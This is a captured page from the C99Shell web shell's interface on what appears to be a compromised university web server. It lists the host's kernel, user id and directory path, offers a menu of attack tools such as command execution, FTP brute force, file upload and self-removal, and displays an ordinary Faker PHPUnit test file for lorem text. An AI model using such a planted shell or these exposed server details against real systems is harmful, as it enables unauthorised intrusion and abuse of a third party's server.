!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/fzaninotto/faker/test/Faker/Provider/   drwxr-xr-x
Free 116.78 GB of 200.55 GB (58.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LoremTest.php (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Test\Provider;

use 
Faker\Provider\Lorem;

class 
LoremTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testTextThrowsExceptionWhenAskedTextSizeLessThan5()
    {
        
Lorem::text(4);
    }

    public function 
testTextReturnsWordsWhenAskedSizeLessThan25()
    {
        
$this->assertEquals('Word word word word.'TestableLorem::text(24));
    }

    public function 
testTextReturnsSentencesWhenAskedSizeLessThan100()
    {
        
$this->assertEquals('This is a test sentence. This is a test sentence. This is a test sentence.'TestableLorem::text(99));
    }

    public function 
testTextReturnsParagraphsWhenAskedSizeGreaterOrEqualThanThan100()
    {
        
$this->assertEquals('This is a test paragraph. It has three sentences. Exactly three.'TestableLorem::text(100));
    }

    public function 
testSentenceWithZeroNbWordsReturnsEmptyString()
    {
        
$this->assertEquals(''Lorem::sentence(0));
    }

    public function 
testSentenceWithNegativeNbWordsReturnsEmptyString()
    {
        
$this->assertEquals(''Lorem::sentence(-1));
    }

    public function 
testParagraphWithZeroNbSentencesReturnsEmptyString()
    {
        
$this->assertEquals(''Lorem::paragraph(0));
    }

    public function 
testParagraphWithNegativeNbSentencesReturnsEmptyString()
    {
        
$this->assertEquals(''Lorem::paragraph(-1));
    }

    public function 
testSentenceWithPositiveNbWordsReturnsAtLeastOneWord()
    {
         
$sentence Lorem::sentence(1);

        
$this->assertGreaterThan(1strlen($sentence));
        
$this->assertGreaterThanOrEqual(1count(explode(' '$sentence)));
    }

    public function 
testParagraphWithPositiveNbSentencesReturnsAtLeastOneWord()
    {
        
$paragraph Lorem::paragraph(1);

        
$this->assertGreaterThan(1strlen($paragraph));
        
$this->assertGreaterThanOrEqual(1count(explode(' '$paragraph)));
    }

    public function 
testWordssAsText()
    {
        
$words TestableLorem::words(2true);

        
$this->assertEquals('word word'$words);
    }

    public function 
testSentencesAsText()
    {
        
$sentences TestableLorem::sentences(2true);

        
$this->assertEquals('This is a test sentence. This is a test sentence.'$sentences);
    }

    public function 
testParagraphsAsText()
    {
        
$paragraphs TestableLorem::paragraphs(2true);

        
$expected "This is a test paragraph. It has three sentences. Exactly three.\n\nThis is a test paragraph. It has three sentences. Exactly three.";
        
$this->assertEquals($expected$paragraphs);
    }
}

class 
TestableLorem extends Lorem
{

    public static function 
word()
    {
        return 
'word';
    }

    public static function 
sentence($nbWords 5$variableNbWords true)
    {
        return 
'This is a test sentence.';
    }

    public static function 
paragraph($nbSentences 3$variableNbSentences true)
    {
        return 
'This is a test paragraph. It has three sentences. Exactly three.';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0106 ]--